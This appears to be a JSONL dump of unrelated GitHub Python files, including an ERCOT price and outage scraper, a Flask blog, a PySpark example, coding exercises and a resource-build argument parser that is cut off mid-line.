load2.rename(columns=load2.iloc[0]).loc[1:]\r\n load2['MWH_load'] = 'MWH_load'\r\n load3 = load2.reset_index()\r\n load3['Oper Day'] = pd.to_datetime(load3['Oper Day'], format='%m/%d/%Y')\r\n load3['rank'] = load3[[\"Oper Day\",\"Hour Ending\"]].apply(tuple,axis=1).rank(method='dense',ascending=False).astype(int)\r\n load3 = load3.sort_values(\"rank\")\r\n\r\n\r\nload4 = load3.reset_index()[['rank','Oper Day', 'Hour Ending','COAST','NORTH_C']].copy()\r\nload4\r\n#Coast is Houston counties, North_C is Dallas Counties\r\n\r\n\r\n\r\n\r\n###########################################################live and recent ERCOT RT SPP\r\n\r\n\r\ntry:\r\n rt1 = pd.read_html(r'''https://www.ercot.com/content/cdr/html/'''+str(today1_str)+'''_real_time_spp.html''')[0]\r\n rt2 = pd.read_html(r'''https://www.ercot.com/content/cdr/html/'''+str(yesterday1_str)+'''_real_time_spp.html''')[0]\r\n rt3 = pd.concat([rt1,rt2]).reset_index()\r\nexcept:\r\n rt3 = pd.read_html(r'''https://www.ercot.com/content/cdr/html/'''+str(yesterday1_str)+'''_real_time_spp.html''')[0]\r\n\r\n\r\nfrom pandasql import sqldf\r\npysqldf = lambda q: sqldf(q, globals())\r\n\r\nq = \"\"\"\r\n\r\nselect g.* \r\n,(case \r\nwhen [interval_r2] = '00' then 0\r\nwhen [interval_r2] = '15' then 85\r\nwhen [interval_r2] = '30' then 70\r\nwhen [interval_r2] = '45' then 55\r\nend)+[Interval Ending] as Interval_round\r\nfrom (\r\nselect *\r\n,SUBSTR([Interval Ending] ,-2) as [interval_r2]\r\nfrom rt3 ) g \r\n\r\n\"\"\"\r\nglobal rt3_df\r\nrt3_df = pysqldf(q)\r\n\r\nrt3_df['Oper Day'] = pd.to_datetime(rt3_df['Oper Day'], format='%m/%d/%Y')\r\n\r\nrt3_df = rt3_df[['Oper Day','Interval_round','HB_HOUSTON','HB_NORTH','LZ_HOUSTON','LZ_NORTH']].copy()\r\n\r\nrt4_df = rt3_df.groupby(['Oper Day','Interval_round'], as_index=False).mean()\r\n\r\nrt4_df['rank'] = rt4_df[[\"Oper Day\",\"Interval_round\"]].apply(tuple,axis=1).rank(method='dense',ascending=False).astype(int)\r\nrt4_df = rt4_df.sort_values(\"rank\")\r\n\r\n\r\nrt4_df\r\n#HB&LZ Houston is Houston counties, HB & LZ North is Dallas Counties\r\n\r\n\r\n\r\n###########################################################live and recent ERCOT DA SPP\r\n\r\ntry:\r\n da1 = pd.read_html(r'''https://www.ercot.com/content/cdr/html/'''+str(today1_str)+'''_dam_spp.html''')[0]\r\n da2 = pd.read_html(r'''https://www.ercot.com/content/cdr/html/'''+str(yesterday1_str)+'''_dam_spp.html''')[0]\r\n da3 = pd.concat([da1,da2]).reset_index()\r\nexcept:\r\n da3 = pd.read_html(r'''https://www.ercot.com/content/cdr/html/'''+str(yesterday1_str)+'''_dam_spp.html''')[0]\r\n\r\nda3['Oper Day'] = pd.to_datetime(da3['Oper Day'], format='%m/%d/%Y')\r\nda3 = da3[['Oper Day','Hour Ending','HB_HOUSTON','HB_NORTH','LZ_HOUSTON','LZ_NORTH']].copy()\r\n\r\nda3['rank'] = da3[[\"Oper Day\",\"Hour Ending\"]].apply(tuple,axis=1).rank(method='dense',ascending=False).astype(int)\r\nda3 = da3.sort_values(\"rank\")\r\n\r\nda3\r\n#HB&LZ Houston is Houston counties, HB & LZ North is Dallas Counties\r\n\r\n\r\n\r\n################################################################Power Outage US Current Snapshot\r\n\r\nfrom lxml import html\r\nimport requests\r\n\r\n\r\ndef power_outage_scrape(url):\r\n web = requests.get(url)\r\n tree = html.fromstring(web.content)\r\n county = tree.xpath('/html/body/div[2]/div[2]/div/div[1]/h1/text()')\r\n customers = tree.xpath('/html/body/div[2]/div[3]/div[1]/div/div[2]/text()')\r\n outagecount = tree.xpath('/html/body/div[2]/div[3]/div[2]/div/div[2]/text()') \r\n outagepercent = tree.xpath('/html/body/div[2]/div[3]/div[3]/div/div[2]/text()') \r\n lastupdated = tree.xpath('/html/body/div[2]/div[3]/div[4]/div/div[2]/item/text()') \r\n \r\n data = {'county': county,\r\n 'number_of_customers': customers,\r\n 'number_of_outages': outagecount,\r\n 'outage_percent': outagepercent,\r\n 'lastupdated': lastupdated,\r\n }\r\n\r\n results = pd.DataFrame(data) \r\n return results\r\n\r\nlist_of_counties_website = [\r\n'https://poweroutage.us/area/county/1394'\r\n,'https://poweroutage.us/area/county/1386'\r\n,'https://poweroutage.us/area/county/1381' \r\n ,'https://poweroutage.us/area/county/1443' \r\n ,'https://poweroutage.us/area/county/1338' \r\n,'https://poweroutage.us/area/county/1476'\r\n,'https://poweroutage.us/area/county/1364'\r\n,'https://poweroutage.us/area/county/1354' \r\n,'https://poweroutage.us/area/county/1367' \r\n ]\r\n\r\n\r\noutage_df_list = []\r\n\r\nfor i in range(len(list_of_counties_website)):\r\n outage_df_list.append(power_outage_scrape(list_of_counties_website[i]))\r\n\r\n\r\noutage_df1 = pd.concat(outage_df_list).reset_index()[['county','number_of_customers','number_of_outages','outage_percent','lastupdated']]\r\noutage_df1\r\n ","repo_name":"wangrenfeng0/MSDS-6120_Capstone","sub_path":"Code/12.29.21_live_ercot_data.py","file_name":"12.29.21_live_ercot_data.py","file_ext":"py","file_size_in_byte":6094,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"8087082098","text":"# Find smallest kth element in an unsorted array\n\ndef smallest_kth_elem(arr, k):\n sort_arr = sorted(arr)\n set_arr = set(sort_arr)\n li_set_arr = list(set_arr)\n\n for i in range(len(li_set_arr)):\n if len(li_set_arr) < k:\n return \"Null\"\n elif i == (k - 1):\n return li_set_arr[i]\n\n\nif __name__ == '__main__':\n ar = [0, 1, 0, 1, 1, 1, 1, 0, 0, 1]\n k = 4\n result = smallest_kth_elem(ar, k)\n print(result)\n","repo_name":"SamanehGhafouri/Data-Structures-and-Algorithms-in-python","sub_path":"Interview-Problems/find_kth_smallest_element.py","file_name":"find_kth_smallest_element.py","file_ext":"py","file_size_in_byte":458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"31818135671","text":"import os, sys\n\nfrom pyspark.sql import *\n\nfrom lib.logger import Log4j\nfrom lib.utils import get_spark_app_config\n\nif __name__ == '__main__':\n conf = get_spark_app_config()\n\n spark = SparkSession.builder\\\n .config(conf=conf) \\\n .getOrCreate()\n\n logger = Log4j(spark)\n\n if len(sys.argv) != 2:\n logger.error(\"Usage: HelloSparkSQL \")\n sys.exit(1)\n\n surveyDF = spark.read \\\n .option(\"header\", \"true\") \\\n .option(\"inferSchema\", \"true\") \\\n .csv(sys.argv[1])\n\n surveyDF.createOrReplaceTempView(\"survey_tbl\")\n\n countDF = spark.sql(\"select Country, count(1) as count from survey_tbl where Age < 40 group by Country\")\n countDF.show()\n\n spark.stop()\n\n\n\n","repo_name":"dkkahm/study-pyspark","sub_path":"003.HelloSparkSQL/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"72973462490","text":"from typing import List\n\n\nclass Solution:\n def transpose(self, matrix: List[List[int]]) -> List[List[int]]:\n r,c = len(matrix),len(matrix[0])\n tm=[[0 for _ in range(r)] for _ in range(c)]\n for i in range(r):\n for j in range(c):\n tm[j][i]=matrix[i][j]\n return tm\n ","repo_name":"anusu90/LEETCODE","sub_path":"867.py","file_name":"867.py","file_ext":"py","file_size_in_byte":327,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"37122119133","text":"'''\nCreated on Nov 3, 2016\n\n@author: vanpana\n'''\nimport os\nimport pickle\nfrom tkinter import *\n\n\nimport traceback\n\nfrom library.controller.product_controller import BookController,\\\n ClientController, RentalController\nfrom library.domain.validators import LibraryValidator\nfrom library.repository.binary_repo import BookBinaryFileRepository, ClientBinaryFileRepository, \\\n RentalBinaryFileRepository\nfrom library.repository.file_repo import BookFileRepository, RentalFileRepository, ClientFileRepository\nfrom library.repository.json_repo import BookJsonFileRepository, ClientJsonFileRepository, RentalJsonFileRepository\nfrom library.repository.repo import BookRepository, ClientRepository,\\\n RentalRepository\nfrom library.repository.sql_repo import BookSqlFileRepository, ClientSqlFileRepository\nfrom library.ui.console import Console\nfrom library.ui.gui import GUI\n\nclass Settings(object):\n def __init__(self, filename):\n self.__filename = filename\n self.__repository = None\n self.__books = None\n self.__clients = None\n self.__rentals = None\n self.__ui = None\n self.__load_data()\n\n def __load_data(self):\n with open(self.__filename) as f:\n for line in f:\n line = line.strip(\"\\n\")\n line = line.split(\" \")\n if line[0] == \"repository\":\n self.__repository = line[2]\n elif line[0] == \"books\":\n self.__books = line[2][1:-1]\n elif line[0] == \"clients\":\n self.__clients = line[2][1:-1]\n elif line[0] == \"rentals\":\n self.__rentals = line[2][1:-1]\n elif line[0] == \"ui\":\n self.__ui = line[2]\n @property\n def repository(self):\n return self.__repository\n\n @property\n def books(self):\n return self.__books\n\n @property\n def clients(self):\n return self.__clients\n\n @property\n def rentals(self):\n return self.__rentals\n\n @property\n def ui(self):\n return self.__ui\n\nif __name__ == '__main__':\n\n try:\n\n '''\n Main function where all the initialisations are done and app loop starts\n '''\n book_controller, client_controller, rental_controller = None, None, None\n\n settings = Settings(\"./settings.properties\")\n settings = [settings.repository, settings.books, settings.clients, settings.rentals, settings.ui]\n\n if (settings[0] == 'textfiles' or settings[0] == 'binaryfiles') and (settings[1] == None or \\\n settings[2] == None or \\\n settings[3] == None):\n print(\"Settings file not configured properly!\")\n else:\n if settings[0] == 'inmemory':\n book_repository = BookRepository(LibraryValidator)\n client_repository = ClientRepository(LibraryValidator)\n rental_repository = RentalRepository(LibraryValidator)\n\n elif settings[0] == 'textfiles':\n book_repository = BookFileRepository(LibraryValidator, settings[1])\n client_repository = ClientFileRepository(LibraryValidator, settings[2])\n rental_repository = RentalFileRepository(LibraryValidator, settings[3])\n\n elif settings[0] == 'binaryfiles':\n book_repository = BookBinaryFileRepository(LibraryValidator, settings[1])\n client_repository = ClientBinaryFileRepository(LibraryValidator, settings[2])\n rental_repository = RentalBinaryFileRepository(LibraryValidator, settings[3])\n\n elif settings[0] == 'jsonfiles':\n book_repository = BookJsonFileRepository(LibraryValidator, settings[1])\n client_repository = ClientJsonFileRepository(LibraryValidator, settings[2])\n rental_repository = RentalJsonFileRepository(LibraryValidator, settings[3])\n\n elif settings[0] == 'sqlfiles':\n book_repository = BookSqlFileRepository(LibraryValidator, settings[1])\n client_repository = ClientSqlFileRepository(LibraryValidator, settings[2])\n rental_repository = RentalJsonFileRepository(LibraryValidator, settings[3])\n\n book_controller = BookController(book_repository)\n client_controller = ClientController(client_repository)\n rental_controller = RentalController(rental_repository, book_repository, client_repository)\n\n if settings[4] == None or settings[4] == 'console':\n console = Console(book_controller, client_controller, rental_controller)\n console.run_console()\n\n elif settings[4] == 'gui':\n gui = GUI(book_controller, client_controller, rental_controller)\n gui.run_app()\n\n except Exception as ex:\n print(\"exception: \", ex)\n traceback.print_exc()","repo_name":"vanpana/library_manager","sub_path":"src/library/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5045,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"70934812572","text":"import os\nimport random\nimport warnings\n\nimport torch\nimport torch.backends.cudnn as cudnn\nimport torch.multiprocessing as mp\n\n\nclass Main:\n def __init__(self, args, worker_func):\n self.args = args\n self.worker_func = worker_func\n\n # workdir\n os.makedirs(self.args.work_dir, exist_ok=True)\n\n cudnn.benchmark = True\n if self.args.seed is not None:\n random.seed(self.args.seed)\n torch.manual_seed(self.args.seed)\n cudnn.deterministic = True\n warnings.warn('You have chosen to seed training. '\n 'This will turn on the CUDNN deterministic setting, '\n 'which can slow down your training considerably! '\n 'You may see unexpected behavior when restarting '\n 'from checkpoints.')\n\n if self.args.gpu is not None:\n warnings.warn('You have chosen a specific GPU. This will completely '\n 'disable data parallelism.')\n\n if self.args.dist_url == \"env://\" and self.args.world_size == -1:\n self.args.world_size = int(os.environ[\"WORLD_SIZE\"])\n\n self.args.distributed = self.args.world_size > 1 or self.args.multiprocessing_distributed\n\n def run(self):\n ngpus_per_node = torch.cuda.device_count()\n if self.args.multiprocessing_distributed:\n # Since we have ngpus_per_node processes per node, the total world_size\n # needs to be adjusted accordingly\n self.args.world_size = ngpus_per_node * self.args.world_size\n # Use torch.multiprocessing.spawn to launch distributed processes: the\n # worker process function\n mp.spawn(self.worker_func, nprocs=ngpus_per_node, args=(ngpus_per_node, self.args))\n else:\n # Simply call worker function\n self.worker_func(self.args.gpu, ngpus_per_node, self.args)\n\n","repo_name":"toytag/self-supervised-learning-for-semantic-segmentation","sub_path":"utils/main_template.py","file_name":"main_template.py","file_ext":"py","file_size_in_byte":1946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"34849152530","text":"import sys\n\nfrom flask import Flask, render_template, url_for\nfrom flask_flatpages import FlatPages\nfrom flask_frozen import Freezer\n# \n# \nDEBUG = True\nFLATPAGES_AUTO_RELOAD = DEBUG\nFLATPAGES_EXTENSION = '.md'\n\napp = Flask(__name__)\napp.config.from_object(__name__)\npages = FlatPages(app)\nfreezer = Freezer(app)\n\n@app.route('/')\ndef index():\n return render_template('index.html', pages=pages)\n\n\n@app.route('/.html')\ndef page(path):\n print(\"View function activated!\")\n page = pages.get_or_404(path)\n return render_template('page.html', page=page)\n \n@freezer.register_generator\ndef pagelist():\n for page in pages:\n yield url_for('page', path=page.path)\n\nif __name__ == '__main__':\n if len(sys.argv) > 1 and sys.argv[1] == 'build':\n freezer.freeze()\n else:\n app.run(host='0.0.0.0', port=5001)\n","repo_name":"vkaustubh/flask-blog-tutorial","sub_path":"sitebuilder.py","file_name":"sitebuilder.py","file_ext":"py","file_size_in_byte":843,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"32"} +{"seq_id":"25530376337","text":"'''\nIn meal.py, implement a program that prompts the user for a time and outputs whether it's breakfast time, lunch time, or dinner time. If it's not time for a\nmeal, don't output anything at all. \n\nIf up for a challenge, optionally add support for 12-hour times, allowing the user to input times in these formats too:\n\n #:## a.m. and ##:## a.m.\n #:## p.m. and ##:## p.m. \n'''\n\n# convert - convert a string in an single float number\n\ndef convert(time):\n # split - split the str passed as input in two variables of type int\n # map - map the elements of the list returned by the split method to type int\n hours, minutes = map(int, time.split(\":\"))\n if not(0 <= hours < 24) or not (0 <= minutes < 60):\n return \"Error!! Enter valid hours in 24-hour time format\"\n convertedMinutes = minutes/60\n return hours + convertedMinutes\n\ndef main():\n time = input(\"What time is it? (e. 2:00)\")\n convertedTime = convert(time)\n if 7 <= convertedTime <= 8:\n print(\"breakfast time\", end=\"\")\n elif 12 <= convertedTime <= 13:\n print(\"lunch time\", end=\"\")\n elif 18 <= convertedTime <= 19:\n print(\"dinner time\", end=\"\")\n else:\n print(\"\")\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"FilipemPereira/CS50_FilipePereira","sub_path":"CS50P_Problems/Lecture1/meal.py","file_name":"meal.py","file_ext":"py","file_size_in_byte":1233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"3060494388","text":"from argparse import ArgumentParser\n\nfrom networkx import Graph\n\nFILEPATH = '../data/day_18_1.txt'\n\n\nclass CountSides:\n def __init__(self, data):\n self.graph = Graph()\n self.data = data\n\n def parse(self):\n for line in self.data:\n numbers = tuple(int(n) for n in line.split(','))\n self.graph.add_node(numbers)\n\n def walk_graph(self):\n all_nodes = list(self.graph.nodes())\n for i in range(0, (len(all_nodes) - 1)):\n current_node = all_nodes[i]\n for target_node in all_nodes[i + 1:]:\n c = 0\n for j in range(0, 3):\n match = 1 if target_node[j] == current_node[j] else 0\n if match == 0 and abs(target_node[j] - current_node[j]) == 1:\n c += match\n elif match == 0:\n c += 100\n else:\n c += match\n\n if c == 2:\n self.graph.add_edge(current_node, target_node)\n\n def count_sides(self):\n total = 0\n for node in self.graph.nodes():\n total += (6 - len(list(self.graph.neighbors(node))))\n return total\n\n\ndef solve(data):\n count_sides = CountSides(data)\n count_sides.parse()\n count_sides.walk_graph()\n total = count_sides.count_sides()\n return total\n\n\ndef read_file(file_path):\n with open(file_path) as file:\n data = [i.strip('\\n') for i in file.readlines()]\n\n print(f\"INPUT DATA:\\n{data}\\n\")\n return data\n\n\nif __name__ == '__main__':\n argparser = ArgumentParser()\n argparser.add_argument('--input-file', type=str, required=False,\n help=\"Path to the input file to process. Overwrites the filepath in the script.\")\n args = argparser.parse_args()\n if args.input_file:\n FILEPATH = args.input_file\n\n input_data = read_file(FILEPATH)\n result = solve(input_data)\n print(f\"{'-' * 100}\\nOUTPUT: {result}\")\n","repo_name":"Retkoj/AOC_2022","sub_path":"src/day_18_1.py","file_name":"day_18_1.py","file_ext":"py","file_size_in_byte":1998,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"41773911922","text":"from model import *\r\nfrom copy import * \r\nfrom undo import *\r\n\r\n#reads the real part and the imaginary part of the complex number\r\n\r\ndef readComplex():\r\n realPart = int(input(\" ⁂ real part:\"))\r\n complexPart = int(input(\" ⁂ complex part:\"))\r\n return createComplex(realPart,complexPart)\r\n\r\n\r\n#creates the list of the complex numbers\r\n\r\ndef createComplexList(listc):\r\n inputString = ''\r\n print(\" ⋆ Insert a real part and a complex part:\")\r\n print(\" ⋆ Type 'done' to finish inserting\")\r\n while inputString != 'done':\r\n inputString = input(\"** \")\r\n if inputString != 'done':\r\n try:\r\n listc.append(readComplex())\r\n except ValueError:\r\n print(\" ✁ Invalid input. Retry\")\r\n \r\n\r\n\r\n#inserts a complex number at a certain position\r\n \r\ndef insertNumber(listc):\r\n position = int(input(\" ⋆ Enter the position \"))\r\n if position > len(listc):\r\n raise Exception(\"The position is not in the list. Try again\")\r\n else:\r\n position = position + 1\r\n realPart = int(input(\" ⁂ real part:\"))\r\n imaginaryPart = int(input(\" ⁂ complex part:\"))\r\n complexInsert = createComplex(realPart,imaginaryPart)\r\n listc.insert(position,complexInsert)\r\n\r\n#removes a complex number from a certain single position\r\n \r\ndef removeSingle(listc):\r\n position=int(input(\" ⋆ The position you want to remove is: \"))\r\n if position > len(listc):\r\n raise Exception(\"The position is not in the list. Try again\")\r\n else:\r\n del listc[position]\r\n\r\n#removes more than 1 complex number from given positions\r\n \r\ndef removeMore(listc):\r\n startPosition = int(input(\" ⋆ The start position for removal is: \"))\r\n endPosition = int(input(\" ⋆ The end position for removal is: \"))\r\n if int(endPosition) > len(listc):\r\n raise Exception(\" ⋆ The end position doesn't exist in this list. Try again\")\r\n else:\r\n endPosition = endPosition + 1\r\n del listc[startPosition:endPosition]\r\n\r\n#replaces a complex number\r\n\r\ndef replace(listc):\r\n realOld = int(input(\" ⋆ The real part of the complex number you want to replace is:\"))\r\n imaginaryOld = int(input(\" ⋆ The imaginary part of the complex number you want to replace is: \"))\r\n realNew = int(input(\" ⋆ The real part of the replacement is: \"))\r\n imaginaryNew = int(input(\" ⋆ The imaginary part of the replacement is: \"))\r\n for it in range (0,len(listc)):\r\n #print (\"the real part is \",getReal(listc[it]))\r\n #print (\"the imaginary part is \",getImaginary(listc[it]))\r\n #print (\"realOld \",realOld)\r\n #print (\"imagOld \", imaginaryOld)\r\n #print (\"realNew \",realNew)\r\n #print (\"imaginaryNew \", imaginaryNew)\r\n if getReal(listc[it]) == realOld and getImaginary(listc[it]) == imaginaryOld:\r\n setReal(listc[it],realNew)\r\n setImaginary(listc[it],imaginaryNew)\r\n \r\n \r\n#lists the complex numbers with no imaginary part\r\n#from a start position to an end position\r\n \r\ndef listReal(listc):\r\n startPoz = int(input(\" ⋆ List real numbers from: \"))\r\n endPoz = int(input(\"To: \"))\r\n if int(endPoz) > len(listc):\r\n raise Exception(\" ⋆ The end position doesn't exist in this list. Try again\")\r\n else:\r\n endPoz = endPoz + 1\r\n for it in range(startPoz,endPoz):\r\n #print (\"the imaginary part is \",getImaginary(listc[it]))\r\n #print (\"the real part is \",getReal(listc[it]))\r\n if (getImaginary(listc[it]) == 0):\r\n print (getReal(listc[it]))\r\n\r\n#gets the modulus of the complex number\r\n \r\ndef getModulus(listc):\r\n return (getReal(listc)**2 + getImaginary(listc)**2)**0.5\r\n\r\n#prints the list of complex numbers which have the modulus equal to an input modulus\r\n\r\ndef listModuloEq(listc):\r\n eqModulo = int(input(\" ⋆ List complex numbers which have the mod equal to:\"))\r\n for it in range(0,len(listc)):\r\n if getModulus(listc[it]) == eqModulo:\r\n print (str(getReal(listc[it])) + '+' + str(getImaginary(listc[it])) + 'i')\r\n\r\n#prints the list of complex numbers which have the modulus more little than an input modulus\r\n \r\ndef listModuloLittle(listc):\r\n eqModulo = int(input(\" ⋆ List complex numbers which have the mod more little than:\"))\r\n for it in range(0,len(listc)):\r\n if getModulus(listc[it]) < eqModulo:\r\n print (str(getReal(listc[it])) + '+' + str(getImaginary(listc[it])) + 'i')\r\n\r\n#prints the list of complex numbers which have the modulus bigger than an input modulus\r\n \r\ndef listModuloBigger(listc):\r\n eqModulo = int(input(\" ⋆ List complex numbers which have the modulo bigger than:\"))\r\n for it in range(0,len(listc)):\r\n if getModulus(listc[it]) > eqModulo:\r\n print (str(getReal(listc[it])) + '+' + str(getImaginary(listc[it])) + 'i')\r\n\r\ndef suma(listc):\r\n startPos = int(input(\"The start pos of the sum is: \"))\r\n endPos = int(input(\"The end pos: \"))\r\n sum = 0\r\n if endPos > len(listc):\r\n raise Exception(\"The end pos is not in the list\")\r\n else:\r\n endPos = endPos + 1\r\n for it in range(startPos,endPos):\r\n sum = sum + getReal(listc[it]) + getImaginary(listc[it])\r\n \r\n print (\"The sum is: \",sum)\r\n\r\ndef product(listc):\r\n startPos = int(input(\"The start pos of the product is: \"))\r\n endPos = int(input(\"The end pos: \"))\r\n prod = 1\r\n if endPos > len(listc):\r\n raise Exception(\"The end pos is not in the list\")\r\n else:\r\n endPos = endPos + 1\r\n for it in range(startPos,endPos):\r\n prod = prod * getReal(listc[it]) * getImaginary(listc[it])\r\n \r\n print (\"The product is: \",prod)\r\n\r\ndef filterReal(listc):\r\n if len(listc) ==0:\r\n raise Exception(\"The list is empty\")\r\n for it in range(len(listc)-1, -1, -1):\r\n if getImaginary(listc[it]) !=0:\r\n del listc[it]\r\n\r\ndef filterModl(listc):\r\n if len(listc) ==0:\r\n raise Exception(\"The list is empty\")\r\n theVal = int(input(\"The value the modulus is < than: \"))\r\n for it in range(len(listc)-1,-1,-1):\r\n if getModulus(listc[it]) > theVal:\r\n del listc[it]\r\n\r\ndef filterMode(listc):\r\n if len(listc) ==0:\r\n raise Exception(\"The list is empty\")\r\n theVal = int(input(\"The value the modulus is equal to: \"))\r\n for it in range(len(listc)-1,-1,-1):\r\n if getModulus(listc[it]) != theVal:\r\n del listc[it]\r\n\r\ndef filterModg(listc):\r\n if len(listc) ==0:\r\n raise Exception(\"The list is empty\")\r\n theVal = int(input(\"The value the modulus is > than: \"))\r\n for it in range(len(listc)-1,-1,-1):\r\n if getModulus(listc[it]) < theVal:\r\n del listc[it]\r\n \r\ndef undoOp(listH):\r\n listH.pop()\r\n \r\n \r\ndef run():\r\n listc = [[1,2],[3,4],[5,6],[0,1],[1,0],[2,3],[4,5],[5,0],[1,1],[2,3],[5,6]]\r\n listH=[]\r\n copyL=[]\r\n commands = {\r\n \"list\": printThelist,\r\n \"add\": createComplexList,\r\n \"insert\": insertNumber,\r\n \"removeOne\": removeSingle,\r\n \"removeMany\": removeMore,\r\n \"replace\": replace,\r\n \"listReal\":listReal,\r\n \"listEqualMod\":listModuloEq,\r\n \"listLittleMod\":listModuloLittle,\r\n \"listBiggerMod\":listModuloBigger,\r\n \"sum\":suma,\r\n \"product\":product,\r\n \"filterReal\":filterReal,\r\n \"filterModL\":filterModl,\r\n \"filterModE\":filterMode,\r\n \"filterModG\":filterModg,\r\n \"undo\":undoOp\r\n }\r\n while True:\r\n cmd = input(\"*\")\r\n if cmd == \"exit\":\r\n return\r\n if cmd in commands:\r\n try:\r\n commands[cmd](listc)\r\n except Exception as ex:\r\n print(str(ex))\r\n else:\r\n print (\"non-existent command!\")\r\n","repo_name":"dorismoisuc/Programming-Fundamentals","sub_path":"Assignment3-4/ui.py","file_name":"ui.py","file_ext":"py","file_size_in_byte":7884,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"17208955667","text":"# Задайте список из нескольких чисел. Напишите программу, которая найдёт сумму элементов списка, стоящих на нечётной позиции.\r\n\r\nlst = input(\"Введите числа через пробел : \").split()\r\nsum = 0\r\nfor i in range(len(lst)):\r\n if i % 2 != 0:\r\n sum += int(lst[i])\r\nprint(sum)\r\n\r\n# Напишите программу, которая найдёт произведение пар чисел списка. Парой считаем первый и последний элемент, второй и предпоследний и т.д\r\n\r\nlst = input(\"Введите числа через пробел : \").split()\r\nproduct = []\r\nfor i in range((len(lst) + 1)//2):\r\n product.append(int(lst[i]) * int(lst[len(lst)-1-i]))\r\nprint(product)\r\n\r\n# Задайте список из вещественных чисел. Напишите программу, которая найдёт разницу между максимальным и минимальным значением дробной части элементов.\r\n\r\nlst = list(map(float, input(\"Введите числа через пробел: \").split()))\r\nmax = 0\r\nmin = 1\r\nfor i in lst:\r\n if (i - int(i)) <= min:\r\n min = i - int(i)\r\n if (i - int(i)) >= max:\r\n max = i - int(i)\r\nprint(round(max - min, 2))\r\n\r\n# Напишите программу, которая будет преобразовывать десятичное число в двоичное\r\n\r\nnumber = int(input(\"Введите число: \"))\r\nnum = \"\"\r\nwhile number > 0:\r\n num += str(number % 2) \r\n number = number // 2\r\nprint(f\"Ваше число в двоичном представлении: {num}\")\r\n\r\n# Задайте число. Составьте список чисел Фибоначчи, в том числе для отрицательных индексов\r\n\r\nnum = int(input('Введите число: '))\r\nnums = []\r\nn1, n2 = 1, 1\r\nfor i in range(num):\r\n nums.append(n1)\r\n n1, n2 = n2, n1 + n2\r\nn1, n2 = 0, -1\r\nfor i in range (num + 1):\r\n nums.insert(0, n1)\r\n n1, n2 = n2, n1 + n2\r\nprint(nums)\r\n","repo_name":"DenisSemenov42ru/PYTHON","sub_path":"Homeworke003.py","file_name":"Homeworke003.py","file_ext":"py","file_size_in_byte":2213,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"35670261578","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import unicode_literals, print_function\n\nimport time\nimport resbuild.xml_processor as xml_processor\n\n\ndef str2bool(v):\n return v.lower() in (\"yes\", \"true\", \"t\", \"1\")\n\n\ndef get_parser():\n import argparse\n parser = argparse.ArgumentParser(\n description=\"oxyresbuild is a tool for optimizing xml resource files.\"\n \"It generates a .ox folder with a\"\n \"meta.xml file inside. The meta file has optimized information \"\n \"about resources including atlasses.\"\n )\n parser.add_argument(\n \"--src_data\", help=\"The data folder containing all the resources\",\n default=\".\"\n )\n parser.add_argument(\n \"--dest_data\", help=\"Destination data folder\",\n default=\".\"\n )\n parser.add_argument(\n \"-x\", \"--xml\", help=\"The xml file to process\", default=\".\", required=True)\n parser.add_argument(\"-mw\", \"--max_width\",\n help=\"max atlas width\", type=int, default=2048)\n parser.add_argument(\"-mh\", \"--max_height\",\n help=\"max atlas height\", type=int, default=2048)\n parser.add_argument(\n \"-s\", \"--scale\", help=\"Scale value applied when resizing images. \"\n \"Value > 1 - upscale, Value < 1 - downscale. Should be used \"\n \"with --resize\", type=float, default=1.0\n )\n parser.add_argument(\n \"--trim_threshold\", help=\"Alpha trim threshold. Used to optimize image when trimming transparent borders of image\", type=int, default=2)\n parser.add_argument(\"-r\", \"--resize\", help=\"Resize images by a scale value\",\n action=\"store_true\", default=False)\n parser.add_argument(\"-us\", \"--upscale\",\n help=\"allow upscale (Recommended for HD resources)\"\n \"displays with texture compression\",\n action=\"store_true\", default=False)\n parser.add_argument(\"-c\", \"--compression\", help=\"type of image \"\n \"compression. Defaults to pure rgba8888 packed to png\",\n choices=[\"pvrtc\", \"pvrtc2\", \"etc1\", \"etc2\", \"no\"], default=\"\")\n parser.add_argument(\"--npot\", help=\"Atlasses dimensions are not power of twos\",\n action=\"store_true\", default=False)\n parser.add_argument(\"-q\", \"--quality\", help=\"select quality to \"\n \"compressed textures (default is fast)\",\n choices=[\"default\", \"fast\", \"best\"], default=\"default\")\n parser.add_argument(\"-d\", \"--dither\", help=\"added dithering to \"\n \"compressed textures (pvr option)\",\n action=\"store_true\", default=False)\n parser.add_argument(\"-w\", \"--warnings\", help=\"show warnings\",\n action=\"store_true\", default=False)\n parser.add_argument(\"--simple_downsample\", help=\"don't use smart algorithm when resizing args\",\n action=\"store_true\", default=False)\n parser.add_argument(\n \"-v\", \"--verbosity\", help=\"verbosity level. 1 - only errors, \"\n \"2 - normal. Default value is 2\", type=int, default=2)\n parser.add_argument(\"--hash\", help=\"enables creating md5 hash lists for \"\n \"certain special files\",\n action=\"store_true\", default=False)\n parser.add_argument(\"--debug\", help=\"debug mode\",\n action=\"store_true\", default=False)\n parser.add_argument(\"--no_hit_test\", help=\"disables generation of\"\n \"hit_test data by default\",\n action=\"store_true\", default=False)\n parser.add_argument(\"--nopng\", help=\"stores images without \"\n \"packing to png. TGA will be used if \"\n \"compressiong is disabled.\",\n action=\"store_true\", default=False)\n return parser\n\n\ndef do(args):\n p = 